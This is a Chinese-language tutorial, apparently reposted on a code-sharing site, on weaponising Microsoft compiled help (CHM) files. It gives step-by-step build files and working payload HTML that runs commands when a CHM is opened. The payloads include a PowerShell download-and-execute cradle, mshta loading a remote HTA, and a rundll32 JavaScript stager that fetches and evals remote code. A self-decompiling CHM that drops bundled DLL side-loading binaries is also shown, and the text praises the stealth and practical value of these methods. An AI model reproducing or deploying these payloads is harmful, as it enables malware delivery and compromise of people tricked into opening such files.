CHM攻击利用指北「建议收藏」

CHM攻击利用指北「建议收藏」简介 “Compiled Help (or HTML) Manual”简称chm,即“已编译的帮助文件”,是由微软开发文档格式,可以被认为是一种类似于RAR等压缩打包的文件格式(可以使用7z等压缩软件

简介

“Compiled Help (or HTML) Manual”简称chm,即“已编译的帮助文件”,是由微软开发文档格式,可以被认为是一种类似于RAR等压缩打包的文件格式(可以使用7z等压缩软件直接打开), 可以包含html、图片、脚本语言以及其他文件。

当攻击者恶意利用此文件时,通常会在CHM文件内包含恶意脚本和文件,用户打开chm时便会触发恶意代码执行。著名恶意渗透框架如nishang等都支持生成CHM的恶意恶意利用。本文介绍了如何手动制作CHM,并梳理了常见的攻击利用方式。

手动制作CHM文件

chm文件由一系列html文件编译在一起,形成帮助文档,主要依靠一些配置文件来组织CHM的文件结构。

步骤1 定义HTML help project (.hhp)配置文件

hhp文件是在编译时用到的主要文件。其中定义了主页、chm文件名、标题,以及包含的文件等一系列信息。

1[OPTIONS] 
2Compatibility=1.1 or later
3Compiled file=PocCalc.chm                 // 指定生成的CHM文件名
4Contents file=Table of Contents.hhc       // 指定hhc文件
5Index file=Index.hhk                      // 指定hhk文件
6Default topic=poc.html                    // 指定首页的html文件名
7Title=PocCalc                             // 标题
8Display compile progress=No
9Language=0x410 Italian (Italy)
10Full-text search=Yes                
11
12[FILES] 
13poc.html                                  // 需要编译打包进CHM的文件
14GoogleUpdate.exe 
15goopdate.dll
16
17[INFOTYPES]

步骤2 编写html源码文件

HTML格式源码文件用来存储CHM当中的文本内容,管理组织图片, 按钮,快捷方式等呈现方式。当被攻击者利用时,常常会通过ShortCut的方式添加恶意命令,在Item1的Value中指定需要运行的进程和参数。

如下是一个通过CMD启动计算器的样例。

1<!DOCTYPE html>\
2<html>\
3<head><title>calc poc</title><head></head><body>\
4command exec\
5<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>\
6<PARAM name="Command" value="ShortCut">\
7<PARAM name="Button" value="Bitmap::shortcut">\
8<PARAM name="Item1" value=',cmd /c, Calc'>\
9<PARAM name="Item2" value="273,1,1">\
10</OBJECT>\
11<SCRIPT>\
12x.Click();\
13</SCRIPT>\
14</body></html>

步骤3 定义hhk文件

hhk文件是html格式的文件,用于保存CHM中关键字索引目录的内容, 在标签中以列举所有需要嵌入到chm文件中的附件文件对象,对象包含对象名Name和编译对象所在路径Local两个参数,设置的对象会在编译的时候编译到chm文件中。

1<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML//EN">\
2<HTML> \
3   <HEAD> \
4   <meta name="GENERATOR" content="Microsoft® HTML Help Workshop 4.1">\
5   <!-- Sitemap 1.0 --> \
6   </HEAD>\
7   <BODY> \
8   <UL> \
9   <LI><OBJECT type="text/sitemap">\
10       <param name="Name" value="GoogleUpdate">\
11       <param name="Local" value="GoogleUpdate.exe">\
12       </OBJECT> \
13   <LI><OBJECT type="text/sitemap">\
14       <param name="Name" value="goopdate">\
15       <param name="Local" value="goopdate.dll">\
16       </OBJECT>\
17   </UL>\
18   </BODY>\
19</HTML>

步骤4 定义hhc文件

hhc文件也是html格式的文件,在hhc文件中,用

  • 两个标签定义了带有层级关系中列表,并在其中以的形式嵌入了html页面对象。利用列表的层级关系,构造了最终chm文件的层级关系。

    第一个sitemap对象中包含的html文件将作为首页展示,其中的恶意代码将自动加载执行。

    1<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML//EN"> \
    2<HTML> \
    3    <HEAD> \
    4        <meta name="GENERATOR" content="Microsoft® HTML Help Workshop 4.1"> \
    5        <!-- Sitemap 1.0 --> \
    6    </HEAD> \
    7    <BODY> \
    8        <OBJECT type="text/site properties">\
    9            <param name="ImageType" value="Folder">\
    10        </OBJECT> \
    11        <UL>\
    12            <LI> <OBJECT type="text/sitemap">\
    13                <param name="Name" value="Notice">\
    14                <param name="Local" value="poc.html">\
    15                <param name="ImageNumber" value="1">\
    16                </OBJECT>\
    17         </UL>\
    18     </BODY>\
    19</HTML>
    

    步骤5 使用HHC.exe 编译

    最后我们就可以使用hhc.exe将以上文件编译打包成.chm文档。

    命令格式:hhc.exe <hhp文件路径>

    反编译

    当安全分析人员需要对CHM文档进行逆向分析的时,可以使用windows系统自带的hh.exe 对CHM文件进行反编译(常见路径C:\Windows\hh.exe,C:\Windows\SysWOW64\hh.exe)。但攻击者同样也会利用该工具释放自身CHM文件包含的恶意程序样本,该方式常常被利用来释放白加黑文件。

    命令格式:

    HH.EXE  -decompile <输出路径> <目标chm文件>

    反编译后的7-zip.chm帮助文件。

    1629969633_61275ce10375fdaad4180.png

    常见攻击利用方式

    1 利用hhctrl.ocx对象命令执行

    攻击者可以在html源码文件中嵌入hhctrl.ocx对象来执行命令,ShortCut类型可以接受在Item中填写程序地址,并传递参数给他(不支持如%WINDIR%等环境变量)传递的Value将分割两次“,”获取程序名和参数并调用Shell32.dll的导出函数ShellExecuteA创建进程。

    [相关MSDN资料]

    docs.microsoft.com/en-us/previ…

    docs.microsoft.com/en-us/previ…

    docs.microsoft.com/en-us/previ…

    如当打开或点击左侧标题时就会执行powershell一句话命令。

    1<!DOCTYPE html><html><head><title>Mousejack replay</title><head></head><body>\
    2command exec \
    3<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>\
    4<PARAM name="Command" value="ShortCut">\
    5 <PARAM name="Button" value="Bitmap::shortcut">\
    6 <PARAM name="Item1" value=',powershell.exe, -nop -w hidden -c IEX ((new-object net.webclient).downloadstring("http://xx.xx.xx.xx"))'>\
    7 <PARAM name="Item2" value="273,1,1">\
    8</OBJECT>\
    9<SCRIPT>\
    10x.Click();\
    11</SCRIPT>\
    12</body></html>
    

    通过mshta运行远程hta。

    1<OBJECT id=poc classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>\
    2    <PARAM name="Command" value="ShortCut">\
    3    <PARAM name="Button" value="Bitmap::shortcut">\
    4    <PARAM name="Item1" value=",mshta,http://x.x.x.x/loader.hta";>\
    5    <PARAM name="Item2" value="273,1,1">\
    6</OBJECT>\
    7<SCRIPT>\
    8    poc.Click();\
    9</SCRIPT>
    

    通过rundll32运行JS代码。

    1<!DOCTYPE html><html><head><title>Mousejack replay</title><head></head><body>\
    2command exec \
    3<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>\
    4<PARAM name="Command" value="ShortCut">\
    5 <PARAM name="Button" value="Bitmap::shortcut">\
    6 <PARAM name="Item1" value=',rundll32.exe, javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://xx.xx.xx.xx",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}'>\
    7 <PARAM name="Item2" value="273,1,1">\
    8</OBJECT>\
    9<SCRIPT>\
    10x.Click();\
    11</SCRIPT>\
    12</body></html>
    

    2 释放文件并执行

    另一类攻击方式是通过使用CHM打包文件特性,将恶意文件一起打包到CHM文件中,投递给受害者,当受害者双击打开时,恶意CHM就会调用hh.exe -decompile反编译自身,释放包含其中的恶意文件并运行。该方式不需要创建网络连接二次拉取payload,隐蔽性和可利用性较高。

    获得当前CHM文件路径,创建用于命令执行的document对象,拼接当前chm文件路径到hh.exe 的参数中反编译释放当前chm文件。

    1<SCRIPT>\
    2function getPath(){ \
    3    var pathName = document.location.pathname;\
    4    var index0 = pathName.substr(1).indexOf(":");\
    5    var index1 = pathName.substr(1).lastIndexOf(":");\
    6    var result = pathName.substr(index0+2,index1-index0-2);\
    7    return result; \
    8}\
    9\
    10var dir = getPath();\
    11\
    12var commodStr = '<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>' + '<PARAM name="Command" value="ShortCut">' + '<PARAM name="Button" value="Bitmap::shortcut">' + '<PARAM name="Item1" value=",hh, -decompile C:\\Windows\\Temp\\Downloads\\ ' + dir + '">';\
    13document.getElementById('t0').innerHTML = commodStr;\
    14x.Click();\
    15</SCRIPT>
    

    函数getPath()用于获取当前chm所在的绝对路径

    定义一个Object,前两个参数为固定格式:id和classid,在第三个参数中构造要执行的命令

    获取上面定义的容器对象,通过赋值给innerHTML对象实现

    document.getElementById(‘id’).innerHTML = commandStr;

    上面语句中的id是在html中定义的

    分区的id

    触发执行 x.Click()

    3 ActiveXObject

    比起前两种方式好处是可以直接执行VBS代码或JScript代码调用ActiveXObject对象,可以使用脚本代码实现后续攻击行为。但运行时会告警目标是否启用ActiveX对象, 需要目标点击二次点击确认。

    1629969812_61275d94c97592dc84435.png

    1629969828_61275da40ac6e4fba7016.png

    总结

    CHM文档作为windows下常见的文档类型,总体的隐蔽性和实战价值都比较高。攻击利用时可以通过命令执行达到一句话上线,或通过二次拉取下发等方式进行云控,也可利用hh.exe -decompile反编译自身释放白加黑文件直接上线。如果目标安全警惕性较低,可以通过ActiveX对象运行恶意代码。更多关于CHM的攻击利用方法及武器化实现值得安全攻防人员关注。

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。
转载请注明出处: https://daima100.com/13518.html

(0)

相关推荐

发表回复

您的电子邮箱地址不会被公开。 必填项已用*标注